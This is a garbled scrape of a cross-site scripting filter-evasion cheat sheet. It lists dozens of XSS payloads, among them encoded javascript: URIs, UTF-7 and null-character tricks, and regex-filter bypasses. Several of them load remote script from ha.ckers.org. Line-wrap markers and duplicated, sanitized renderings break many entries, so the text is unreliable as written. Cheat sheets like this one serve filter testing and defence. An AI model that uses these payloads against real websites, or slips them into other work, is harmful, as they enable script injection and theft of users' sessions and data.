	<
	<
	<
	<
	< »

	<
	<
	<
	<
	<
	&l »
	t;
	<
	<
	<
	<
	<
	»

	<
	<
	<
	<
	<
	&l »
	t;
	<
	<
	<
	<
	<
	»
	<
	<
	<
	<
	<
	&lt »
	;

	<
	<
	<
	<
	<
	»
	<
	<
	<
	<
	<
	&lt »
	;
	<
	<
	<
	<
	<
	& »
	lt;

	<
	<
	<
	<
	&lt »
	;
	<
	\x3c
	\x3C
	\u003c
	\u00 »
	3C
	< %3C &lt < &LT &LT; < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
	Case Insensitive
	<IMG »
	SRC=JaVaScRiPt:alert('XSS')>
	HTML Entities
	<IMG »
	SRC=javascript:alert("X »
	SS")>
	Grave Accents
	<IMG »
	SRC=`javascript:alert("RSnak »
	e says, 'XSS'")`>
	<img »
	src="%60javascript%3Aalert(" »
	alt="`javascript:alert(&quot »
	;RSnake" />
	`javascript:alert("RSnake
	Image w/CharCode
	<IMG »
	SRC=javascript:alert(String. »
	fromCharCode(88,83,83))>
	UTF-8 Unicode Encoding
	<IMG »
	SRC=java&# »
	115;crip& »
	#116;:ale& »
	#114;t('X&# »
	83;S')>
	Long UTF-8 Unicode w/out Semicolons
	<IMG »
	SRC=&#0000106&#0000097&#0000 »
	118&#0000097&#0000115&#00000 »
	99&#0000114&#0000105&#000011 »
	2&#0000116&#0000058&#0000097 »
	&#0000108&#0000101&#0000114& »
	#0000116&#0000040&#0000039&# »
	0000088&#0000083&#0000083&#0 »
	000039&#0000041>
	DIV w/Unicode
	<DIV »
	STYLE="background-image:\007 »
	5\0072\006C\0028'\006a\0061\ »
	0076\0061\0073\0063\0072\006 »
	9\0070\0074\003a\0061\006c\0 »
	065\0072\0074\0028.1027\0058 »
	.1053\0053\0027\0029'\0029">
	<div></div>
	Hex Encoding w/out Semicolons
	<IMG »
	SRC=&#x6A&#x61&#x76&#x61&#x7 »
	3&#x63&#x72&#x69&#x70&#x74&# »
	x3A&#x61&#x6C&#x65&#x72&#x74 »
	&#x28&#x27&#x58&#x53&#x53&#x »
	27&#x29>
	UTF-7 Encoding
	<HEAD><META »
	HTTP-EQUIV="CONTENT-TYPE" »
	CONTENT="text/html; »
	charset=UTF-7"> »
	</HEAD>+ADw-SCRIPT+AD4-alert »
	('XSS');+ADw-/SCRIPT+AD4-
	+ADw-SCRIPT+AD4-alert('XSS') »
	;+ADw-/SCRIPT+AD4-
	+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
	Escaping JavaScript escapes
	\";alert('XSS');//
	\";alert('XSS');//
	\";alert('XSS');//
	End title tag
	</TITLE><SCRIPT>alert("XSS") »
	;</SCRIPT>
	STYLE w/broken up JavaScript
	<STYLE>@im\port'\ja\vasc\rip »
	t:alert("XSS")';</STYLE>
	Embedded Tab
	<IMG »
	SRC="jav\tascript:alert('XSS' »
	);">
	<img »
	src="jav%20ascript%3Aalert(' »
	XSS');" alt="jav »
	ascript:alert('XSS');" />
	jav ascript:alert('XSS');
	Embedded Encoded Tab
	<IMG »
	SRC="jav ascript:alert( »
	'XSS');">
	<img »
	src="jav%20ascript%3Aalert(' »
	XSS');" alt="jav »
	ascript:alert('XSS');" />
	jav ascript:alert('XSS');
	Embedded Newline
	<IMG »
	SRC="jav ascript:alert( »
	'XSS');">
	<img »
	src="jav%20ascript%3Aalert(' »
	XSS');" alt="jav »
	ascript:alert('XSS');" />
	jav ascript:alert('XSS');
	Embedded Carriage Return
	<IMG »
	SRC="jav ascript:alert( »
	'XSS');">
	<img »
	src="jav%20ascript%3Aalert(' »
	XSS');" alt="jav »
	ascript:alert('XSS');" />
	jav ascript:alert('XSS');
	Multiline w/Carriage Returns
	<IMG
	SRC
	=
	"
	j
	a
	v
	a
	s
	c
	r
	i »

	p
	t
	:
	a
	l
	e
	r
	t
	(
	'
	X
	S
	S
	' »

	)
	"
	>
	<img »
	src="j%20a%20v%20a%20s%20c%2 »
	0r%20i%20p%20t%20%3A%20a%20l »
	%20e%20r%20t%20(%20'%20X%20S »
	%20S%20'%20)" alt="j a v a s »
	c r i p t : a l e r t ( ' X »
	S S ' )" />
	j a v a s c r i p t : a l e r t ( ' X S S ' )
	Null Chars 1
	<IMG »
	SRC=java\0script:alert("XSS") »
	>
	Null Chars 2
	&<SCR\0IPT>alert("XSS")</SCR\0 »
	IPT>
	&
	&
	Spaces/Meta Chars
	<IMG SRC=" »
	javascript:alert('XSS');">
	<img src="" alt="" />
	Non-Alpha/Non-Digit
	<SCRIPT/XSS »
	SRC="http://ha.ckers.org/xss »
	.js"></SCRIPT>
	Non-Alpha/Non-Digit Part 2
	<BODY »
	onload!#$%&()*~+-_.,:;?@[/\|\ »
	]^`=alert("XSS")>
	No Closing Script Tag
	<SCRIPT »
	SRC=http://ha.ckers.org/xss. »
	js
	Protocol resolution in script tags
	<SCRIPT »
	SRC=//ha.ckers.org/.j>
	Half-Open HTML/JavaScript
	<IMG »
	SRC="javascript:alert('XSS') »
	"
	Double open angle brackets
	<IFRAME »
	SRC=http://ha.ckers.org/scri »
	ptlet.html <
	Extraneous Open Brackets
	<<SCRIPT>alert("XSS");//<</S »
	CRIPT>
	<
	<
	Malformed IMG Tags
	<IMG »
	"""><SCRIPT>alert("XSS")</SC »
	RIPT>">
	">
	">
	No Quotes/Semicolons
	<SCRIPT>a=/XSS/
	alert(a.sour »
	ce)</SCRIPT>
	Evade Regex Filter 1
	<SCRIPT a=">" »
	SRC="http://ha.ckers.org/xss »
	.js"></SCRIPT>
	Evade Regex Filter 2
	<SCRIPT ="blah" »
	SRC="http://ha.ckers.org/xss »
	.js"></SCRIPT>
	Evade Regex Filter 3
	<SCRIPT a="blah" '' »
	SRC="http://ha.ckers.org/xss »
	.js"></SCRIPT>
	Evade Regex Filter 4
	<SCRIPT "a='>'" »
	SRC="http://ha.ckers.org/xss »
	.js"></SCRIPT>
	Evade Regex Filter 5
	<SCRIPT a=`>` »
	SRC="http://ha.ckers.org/xss »
	.js"></SCRIPT>
	Filter Evasion 1
	<SCRIPT>document.write("<SCR »
	I");</SCRIPT>PT »
	SRC="http://ha.ckers.org/xss »
	.js"></SCRIPT>
	PT »
	SRC="http://ha.ckers.org/xss »
	.js">
	PT SRC="http://ha.ckers.org/xss.js">
	Filter Evasion 2
	<SCRIPT a=">'>" »
	SRC="http://ha.ckers.org/xss »
	.js"></SCRIPT>
	IP Encoding
	<A »
	HREF="http://66.102.7.147/"> »
	XSS</A>
	<a »
	href="http://66.102.7.147/"> »
	XSS</a>
	XSS
	URL Encoding
	<A »
	HREF="http://%77%77%77%2E%67 »
	%6F%6F%67%6C%65%2E%63%6F%6D" »
	>XSS</A>
	<a>XSS</a>
	XSS
	Dword Encoding
	<A »
	HREF="http://1113982867/">XS »
	S</A>
	<a »
	href="http://1113982867/">XS »
	S</a>
	XSS
	Hex Encoding
	<A »
	HREF="http://0x42.0x0000066. »
	0x7.0x93/">XSS</A>
	<a »
	href="http://0x42.0x0000066. »
	0x7.0x93/">XSS</a>
	XSS
	Octal Encoding
	<A »
	HREF="http://0102.0146.0007. »
	00000223/">XSS</A>
	<a »
	href="http://0102.0146.0007. »
	00000223/">XSS</a>
	XSS
	Mixed Encoding
	<A »
	HREF="h
	tt\tp://6 6.00014 »
	6.0x7.147/">XSS</A>
	<a »
	href="h%20tt%20p%3A//6%206.0 »
	00146.0x7.147/">XSS</a>
	XSS
	Protocol Resolution Bypass
	<A »
	HREF="//www.google.com/">XSS »
	</A>
	<a>XSS</a>
	XSS
	Firefox Lookups 1
	<A HREF="//google">XSS</A>
	<a href="//google">XSS</a>
	XSS
	Firefox Lookups 2
	<A »
	HREF="http://ha.ckers.org@go »
	ogle">XSS</A>
	<a »
	href="http://google">XSS</a>
	XSS
	Firefox Lookups 3
	<A »
	HREF="http://google:ha.ckers »
	.org">XSS</A>
	<a »
	href="http://google">XSS</a>
	XSS
	Removing Cnames
	<A »
	HREF="http://google.com/">XS »
	S</A>
	<a>XSS</a>
	XSS
	Extra dot for Absolute DNS
	<A »
	HREF="http://www.google.com. »
	/">XSS</A>
	<a>XSS</a>
	XSS
	JavaScript Link Location
	<A »
	HREF="javascript:document.lo »
	cation='http://www.google.co »
	m/'">XSS</A>
	<a>XSS</a>
	XSS
	Content Replace
	<A »
	HREF="http://www.gohttp://ww »
	w.google.com/ogle.com/">XSS< »
	/A>
	<a »
	href="http://www.gohttp//www »
	.google.com/ogle.com/">XSS</ »
	a>